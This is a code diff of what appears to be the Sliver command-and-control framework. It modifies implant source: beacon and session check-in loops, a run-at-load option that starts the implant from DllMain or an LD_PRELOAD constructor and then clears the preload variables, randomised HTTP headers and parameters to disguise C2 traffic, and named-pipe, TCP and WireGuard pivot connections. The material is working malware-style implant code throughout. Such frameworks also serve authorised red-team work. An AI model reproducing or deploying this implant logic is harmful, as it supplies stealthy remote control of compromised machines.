@@ -688,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
}
|
||||
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
|
||||
var addrs []net.IP
|
||||
var addrs []netip.Addr
|
||||
if tnet.hasV6 {
|
||||
addrs = append(addrsV6, addrsV4...)
|
||||
} else {
|
||||
@@ -725,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
|
||||
return now.Add(timeout), nil
|
||||
}
|
||||
|
||||
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
|
||||
|
||||
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if ctx == nil {
|
||||
panic("nil context")
|
||||
}
|
||||
var acceptV4, acceptV6, useUDP bool
|
||||
if len(network) == 3 {
|
||||
var acceptV4, acceptV6 bool
|
||||
matches := protoSplitter.FindStringSubmatch(network)
|
||||
if matches == nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
} else if len(matches[2]) == 0 {
|
||||
acceptV4 = true
|
||||
acceptV6 = true
|
||||
} else if len(network) == 4 {
|
||||
acceptV4 = network[3] == '4'
|
||||
acceptV6 = network[3] == '6'
|
||||
} else {
|
||||
acceptV4 = matches[2][0] == '4'
|
||||
acceptV6 = !acceptV4
|
||||
}
|
||||
if !acceptV4 && !acceptV6 {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
if network[:3] == "udp" {
|
||||
useUDP = true
|
||||
} else if network[:3] != "tcp" {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
host, sport, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err := strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
var host string
|
||||
var port int
|
||||
if matches[1] == "ping" {
|
||||
host = address
|
||||
} else {
|
||||
var sport string
|
||||
var err error
|
||||
host, sport, err = net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err = strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
}
|
||||
}
|
||||
allAddr, err := tnet.LookupContextHost(ctx, host)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
var addrs []net.IP
|
||||
var addrs []netip.AddrPort
|
||||
for _, addr := range allAddr {
|
||||
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
ip, err := netip.ParseAddr(addr)
|
||||
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
|
||||
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
|
||||
}
|
||||
}
|
||||
if len(addrs) == 0 && len(allAddr) != 0 {
|
||||
@@ -800,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
|
||||
}
|
||||
|
||||
var c net.Conn
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
|
||||
switch matches[1] {
|
||||
case "tcp":
|
||||
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
|
||||
case "udp":
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
|
||||
case "ping":
|
||||
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
|
||||
}
|
||||
if err == nil {
|
||||
return c, nil
|
||||
|
||||
@@ -19,6 +19,7 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -37,7 +38,7 @@ var (
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
|
||||
@@ -304,7 +304,7 @@ func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
|
||||
}
|
||||
}
|
||||
|
||||
// Start - Starts the TCP pivot connection handler
|
||||
// Start - Starts the pivot connection handler
|
||||
func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
defer func() {
|
||||
p.conn.Close()
|
||||
|
||||
+12
-7
@@ -1,6 +1,7 @@
|
||||
#include "sliver.h"
|
||||
|
||||
#ifdef __WIN32
|
||||
#include <windows.h>
|
||||
|
||||
DWORD WINAPI Start()
|
||||
{
|
||||
@@ -18,13 +19,13 @@ BOOL WINAPI DllMain(
|
||||
case DLL_PROCESS_ATTACH:
|
||||
// Initialize once for each new process.
|
||||
// Return FALSE to fail DLL load.
|
||||
{
|
||||
// {{if .Config.IsSharedLib}}
|
||||
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
|
||||
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
|
||||
// {{end}}
|
||||
}
|
||||
break;
|
||||
{
|
||||
// {{if .Config.RunAtLoad}}
|
||||
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
|
||||
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
|
||||
// {{end}}
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Perform any necessary cleanup.
|
||||
break;
|
||||
@@ -46,7 +47,9 @@ static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
// {{end}}
|
||||
}
|
||||
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
|
||||
#elif __APPLE__
|
||||
@@ -57,7 +60,9 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
|
||||
{
|
||||
unsetenv("DYLD_INSERT_LIBRARIES");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
#endif
|
||||
+31
-26
@@ -82,10 +82,10 @@ func init() {
|
||||
buf := make([]byte, 8)
|
||||
n, err := rand.Read(buf)
|
||||
if err != nil || n != len(buf) {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
|
||||
insecureRand.Seed(time.Now().Unix())
|
||||
} else {
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
}
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
|
||||
id, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
buf := make([]byte, 16) // NewV4 fails if secure rand fails
|
||||
@@ -105,25 +105,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
for {
|
||||
select {
|
||||
default:
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
for connection := range connections {
|
||||
if connection == nil {
|
||||
break
|
||||
}
|
||||
err := sessionMainLoop(connection)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Reconnect sleep: %s", reconnect)
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
// {{if .Config.IsBeacon}}
|
||||
beaconStartup()
|
||||
// {{else}}
|
||||
sessionStartup()
|
||||
// {{end}}
|
||||
case c := <-r:
|
||||
switch c.Cmd {
|
||||
case svc.Interrogate:
|
||||
@@ -199,7 +185,16 @@ func main() {
|
||||
// {{else}}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
beaconStartup()
|
||||
// {{else}} ------- IsBeacon/IsSession -------
|
||||
sessionStartup()
|
||||
// {{end}}
|
||||
|
||||
// {{end}} ------- IsService -------
|
||||
}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
func beaconStartup() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
|
||||
// {{end}}
|
||||
@@ -227,9 +222,11 @@ func main() {
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
}
|
||||
|
||||
// {{else}} ------- IsBeacon/IsSession -------
|
||||
// {{else}}
|
||||
|
||||
func sessionStartup() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in session mode")
|
||||
// {{end}}
|
||||
@@ -254,11 +251,10 @@ func main() {
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// Register beacon
|
||||
@@ -311,16 +307,23 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// until all tasks complete (in success or failure), if a task handler blocks
|
||||
// forever it will simply block this set of tasks instead of the entire beacon
|
||||
errors := make(chan error)
|
||||
shortCircuit := make(chan struct{})
|
||||
for {
|
||||
duration := beacon.Duration()
|
||||
nextCheckin = time.Now().Add(duration)
|
||||
go func() {
|
||||
oldInterval := beacon.Interval()
|
||||
err := beaconMain(beacon, nextCheckin)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
errors <- err
|
||||
} else if oldInterval != beacon.Interval() {
|
||||
// The beacon's interval was modified so we need to short circuit
|
||||
// the current sleep and tell the server when the next checkin will
|
||||
// be based on the new interval.
|
||||
shortCircuit <- struct{}{}
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -331,6 +334,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
case <-errors:
|
||||
return err
|
||||
case <-time.After(duration):
|
||||
case <-shortCircuit:
|
||||
// Short circuit current duration with no error
|
||||
}
|
||||
}
|
||||
return nil
|
||||
|
||||
@@ -30,8 +30,6 @@ import (
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"strconv"
|
||||
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
"crypto/tls"
|
||||
|
||||
@@ -52,6 +50,10 @@ import (
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
|
||||
"strconv"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||
@@ -86,20 +88,12 @@ type Beacon struct {
|
||||
|
||||
// Interval - Interval between beacons
|
||||
func (b *Beacon) Interval() int64 {
|
||||
interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
|
||||
if err != nil {
|
||||
interval = int64(30 * time.Second)
|
||||
}
|
||||
return int64(interval)
|
||||
return GetInterval()
|
||||
}
|
||||
|
||||
// Jitter - Jitter between beacons
|
||||
func (b *Beacon) Jitter() int64 {
|
||||
jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
|
||||
if err != nil {
|
||||
jitter = int64(30 * time.Second)
|
||||
}
|
||||
return int64(jitter)
|
||||
return GetJitter()
|
||||
}
|
||||
|
||||
// Duration - Interval + random value <= Jitter
|
||||
|
||||
@@ -62,11 +62,13 @@ var (
|
||||
|
||||
// HTTPOptions - c2 specific configuration options
|
||||
type HTTPOptions struct {
|
||||
NetTimeout time.Duration
|
||||
TlsTimeout time.Duration
|
||||
PollTimeout time.Duration
|
||||
MaxErrors int
|
||||
ForceHTTP bool
|
||||
NetTimeout time.Duration
|
||||
TlsTimeout time.Duration
|
||||
PollTimeout time.Duration
|
||||
MaxErrors int
|
||||
ForceHTTP bool
|
||||
DisableAcceptHeader bool
|
||||
DisableUpgradeHeader bool
|
||||
|
||||
ProxyConfig string
|
||||
ProxyUsername string
|
||||
@@ -92,11 +94,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
maxErrors = 10
|
||||
}
|
||||
return &HTTPOptions{
|
||||
NetTimeout: netTimeout,
|
||||
TlsTimeout: tlsTimeout,
|
||||
PollTimeout: pollTimeout,
|
||||
MaxErrors: maxErrors,
|
||||
ForceHTTP: c2URI.Query().Get("force-http") == "true",
|
||||
NetTimeout: netTimeout,
|
||||
TlsTimeout: tlsTimeout,
|
||||
PollTimeout: pollTimeout,
|
||||
MaxErrors: maxErrors,
|
||||
ForceHTTP: c2URI.Query().Get("force-http") == "true",
|
||||
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
|
||||
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
|
||||
|
||||
ProxyConfig: c2URI.Query().Get("proxy"),
|
||||
ProxyUsername: c2URI.Query().Get("proxy-username"),
|
||||
@@ -110,7 +114,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
var err error
|
||||
if !opts.ForceHTTP {
|
||||
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
|
||||
client.pollTimeout = opts.PollTimeout
|
||||
client.Options = opts
|
||||
client.PathPrefix = pathPrefix
|
||||
err = client.SessionInit()
|
||||
if err == nil {
|
||||
@@ -123,6 +127,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
|
||||
client.Options = opts
|
||||
client.PathPrefix = pathPrefix
|
||||
err = client.SessionInit()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -133,16 +139,17 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
|
||||
// SliverHTTPClient - Helper struct to keep everything together
|
||||
type SliverHTTPClient struct {
|
||||
Origin string
|
||||
PathPrefix string
|
||||
Client *http.Client
|
||||
ProxyURL string
|
||||
SessionCtx *cryptography.CipherContext
|
||||
SessionID string
|
||||
pollTimeout time.Duration
|
||||
pollCancel context.CancelFunc
|
||||
pollMutex *sync.Mutex
|
||||
Closed bool
|
||||
Origin string
|
||||
PathPrefix string
|
||||
Client *http.Client
|
||||
ProxyURL string
|
||||
SessionCtx *cryptography.CipherContext
|
||||
SessionID string
|
||||
pollCancel context.CancelFunc
|
||||
pollMutex *sync.Mutex
|
||||
Closed bool
|
||||
|
||||
Options *HTTPOptions
|
||||
}
|
||||
|
||||
// SessionInit - Initialize the session
|
||||
@@ -199,13 +206,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri.String(), body)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
if method == http.MethodGet {
|
||||
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
|
||||
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
|
||||
req.Header.Set("Accept", acceptHeaderValue)
|
||||
}
|
||||
if uri.Scheme == "http" {
|
||||
if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
|
||||
req.Header.Set("Upgrade-Insecure-Requests", "1")
|
||||
}
|
||||
|
||||
type nameValueProbability struct {
|
||||
Name string
|
||||
Value string
|
||||
Probability string
|
||||
}
|
||||
|
||||
// HTTP C2 Profile headers
|
||||
extraHeaders := []nameValueProbability{
|
||||
// {{range $header := .HTTPC2ImplantConfig.Headers}}
|
||||
{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
|
||||
// {{end}}
|
||||
}
|
||||
for _, header := range extraHeaders {
|
||||
probability, _ := strconv.Atoi(header.Probability)
|
||||
if 0 < probability {
|
||||
roll := insecureRand.Intn(99) + 1
|
||||
if probability < roll {
|
||||
continue
|
||||
}
|
||||
}
|
||||
req.Header.Set(header.Name, header.Value)
|
||||
}
|
||||
|
||||
extraURLParams := []nameValueProbability{
|
||||
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
|
||||
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
|
||||
// {{end}}
|
||||
}
|
||||
queryParams := req.URL.Query()
|
||||
for _, param := range extraURLParams {
|
||||
probability, _ := strconv.Atoi(param.Probability)
|
||||
if 0 < probability {
|
||||
roll := insecureRand.Intn(99) + 1
|
||||
if probability < roll {
|
||||
continue
|
||||
}
|
||||
}
|
||||
queryParams.Set(param.Name, param.Value)
|
||||
}
|
||||
req.URL.RawQuery = queryParams.Encode()
|
||||
return req
|
||||
}
|
||||
|
||||
@@ -235,7 +283,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
done <- ctx.Err()
|
||||
case <-time.After(s.pollTimeout):
|
||||
case <-time.After(s.Options.PollTimeout):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] poll timeout error!")
|
||||
// {{end}}
|
||||
@@ -474,7 +522,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
for index, segment := range segments {
|
||||
segments[index] = url.PathEscape(segment)
|
||||
}
|
||||
if s.PathPrefix != "" {
|
||||
if s.PathPrefix != "" && s.PathPrefix != "/" {
|
||||
segments = append([]string{s.PathPrefix}, segments...)
|
||||
}
|
||||
return strings.Join(segments, "/")
|
||||
@@ -583,6 +631,7 @@ func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Durati
|
||||
|
||||
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: netTimeout,
|
||||
}).Dial,
|
||||
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
// NamedPipeConnect - Non windows implementation of the named pipe client
|
||||
// NamedPipePivotStartSession - Non windows implementation of the named pipe client
|
||||
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
|
||||
return nil, errors.New("unsupported platform")
|
||||
}
|
||||
@@ -200,7 +200,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
// *** WG ***
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
connection, err = wgConnect(uri)
|
||||
if err == nil {
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[wg] Connection failed %s", err)
|
||||
// {{end}}
|
||||
@@ -753,6 +753,9 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
case <-pingCtrl:
|
||||
return
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp pivot] peer ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
@@ -760,11 +763,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: data,
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp pivot] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
data, _ = proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
|
||||
@@ -112,6 +112,11 @@ func randomCCDomain(ccServers []string, next string) string {
|
||||
var (
|
||||
// reconnectInterval - DO NOT ACCESS DIRECTLY
|
||||
reconnectInterval = time.Duration(0)
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
jitter = time.Duration(0)
|
||||
interval = time.Duration(0)
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
|
||||
@@ -132,6 +137,44 @@ func SetReconnectInterval(interval int64) {
|
||||
reconnectInterval = time.Duration(interval)
|
||||
}
|
||||
|
||||
// GetJitter - Get the beacon jitter {{if .Config.IsBeacon}}
|
||||
func GetJitter() int64 {
|
||||
if jitter == time.Duration(0) {
|
||||
configJitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
|
||||
jitter = time.Duration(configJitter)
|
||||
if err != nil {
|
||||
jitter = time.Duration(30 * time.Second)
|
||||
}
|
||||
}
|
||||
return int64(jitter)
|
||||
}
|
||||
|
||||
// SetJitter - Set the jitter value dynamically
|
||||
func SetJitter(newJitter int64) {
|
||||
jitter = time.Duration(newJitter)
|
||||
}
|
||||
|
||||
// {{end}} - IsBeacon
|
||||
|
||||
// GetInterval - Get the beacon interval {{if .Config.IsBeacon}}
|
||||
func GetInterval() int64 {
|
||||
if interval == time.Duration(0) {
|
||||
configInterval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
|
||||
if err != nil {
|
||||
interval = time.Duration(30 * time.Second)
|
||||
}
|
||||
interval = time.Duration(configInterval)
|
||||
}
|
||||
return int64(interval)
|
||||
}
|
||||
|
||||
// SetInterval - Set the interval value dynamically
|
||||
func SetInterval(newInterval int64) {
|
||||
interval = time.Duration(newInterval)
|
||||
}
|
||||
|
||||
// {{end}} - IsBeacon
|
||||
|
||||
// GetMaxConnectionErrors - Parse the max connection errors inserted at compile-time
|
||||
func GetMaxConnectionErrors() int {
|
||||
maxConnectionErrors, err := strconv.Atoi(`{{.Config.MaxConnectionErrors}}`)
|
||||
|
||||
@@ -56,6 +56,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- struct{}{}
|
||||
pingCtrl <- struct{}{}
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
@@ -80,6 +81,9 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
case <-pingCtrl:
|
||||
return
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] peer ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
@@ -87,11 +91,10 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: data,
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
data, _ = proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
|
||||
@@ -29,6 +29,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -215,8 +216,8 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]net.IP{net.ParseIP(netstackTunIP)},
|
||||
[]net.IP{net.ParseIP("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
[]netip.Addr{netip.MustParseAddr(netstackTunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
1420)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -20,6 +20,7 @@ package wireguard
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// WireguardConnect - Placeholder for unsupported platforms
|
||||
func WireguardConnect(_ string, _ uint16) (net.Conn, *device.Device, error) {
|
||||
return nil, nil, errors.New("{{if .Config.Debug}}WireguardConnect not implemented on this platform{{end}}")
|
||||
}
|
||||
+491
-503
File diff suppressed because it is too large.
Load diff
@@ -161,6 +161,8 @@ message ImplantConfig {
|
||||
string FileName = 102;
|
||||
bool IsService = 103;
|
||||
bool IsShellcode = 104;
|
||||
|
||||
bool RunAtLoad = 105;
|
||||
}
|
||||
|
||||
// Configs of previously built implants
|
||||
@@ -338,12 +340,10 @@ message Sessions {
|
||||
repeated Session Sessions = 1;
|
||||
}
|
||||
|
||||
message UpdateSession {
|
||||
message RenameReq {
|
||||
string SessionID = 1;
|
||||
string Name = 2;
|
||||
int64 ReconnectInterval = 3;
|
||||
int64 PollInterval = 4;
|
||||
repeated string Extensions = 5;
|
||||
string BeaconID = 2;
|
||||
string Name = 3;
|
||||
}
|
||||
|
||||
message GenerateReq {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.2
|
||||
// protoc v3.20.0
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.2
|
||||
// protoc v3.20.0
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+825
-812
File diff suppressed because it is too large.
Load diff
@@ -17,10 +17,11 @@ service SliverRPC {
|
||||
|
||||
// *** Generic ***
|
||||
rpc Kill(sliverpb.KillReq) returns (commonpb.Empty);
|
||||
rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure);
|
||||
rpc Rename(clientpb.RenameReq) returns (commonpb.Empty);
|
||||
|
||||
// *** Sessions ***
|
||||
rpc GetSessions(commonpb.Empty) returns (clientpb.Sessions);
|
||||
rpc UpdateSession(clientpb.UpdateSession) returns (clientpb.Session);
|
||||
|
||||
// *** Beacons ***
|
||||
rpc GetBeacons(commonpb.Empty) returns (clientpb.Beacons);
|
||||
@@ -94,6 +95,7 @@ service SliverRPC {
|
||||
rpc Ls(sliverpb.LsReq) returns (sliverpb.Ls);
|
||||
rpc Cd(sliverpb.CdReq) returns (sliverpb.Pwd);
|
||||
rpc Pwd(sliverpb.PwdReq) returns (sliverpb.Pwd);
|
||||
rpc Mv(sliverpb.MvReq) returns (sliverpb.Mv);
|
||||
rpc Rm(sliverpb.RmReq) returns (sliverpb.Rm);
|
||||
rpc Mkdir(sliverpb.MkdirReq) returns (sliverpb.Mkdir);
|
||||
rpc Download(sliverpb.DownloadReq) returns (sliverpb.Download);
|
||||
@@ -123,6 +125,7 @@ service SliverRPC {
|
||||
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
|
||||
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
|
||||
rpc RemoveService(sliverpb.RemoveServiceReq) returns (sliverpb.ServiceInfo);
|
||||
|
||||
rpc MakeToken(sliverpb.MakeTokenReq) returns (sliverpb.MakeToken);
|
||||
rpc GetEnv(sliverpb.EnvReq) returns (sliverpb.EnvInfo);
|
||||
rpc SetEnv(sliverpb.SetEnvReq) returns (sliverpb.SetEnv);
|
||||
|
||||
@@ -27,9 +27,10 @@ type SliverRPCClient interface {
|
||||
GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error)
|
||||
// *** Generic ***
|
||||
Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error)
|
||||
Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Sessions ***
|
||||
GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error)
|
||||
UpdateSession(ctx context.Context, in *clientpb.UpdateSession, opts ...grpc.CallOption) (*clientpb.Session, error)
|
||||
// *** Beacons ***
|
||||
GetBeacons(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Beacons, error)
|
||||
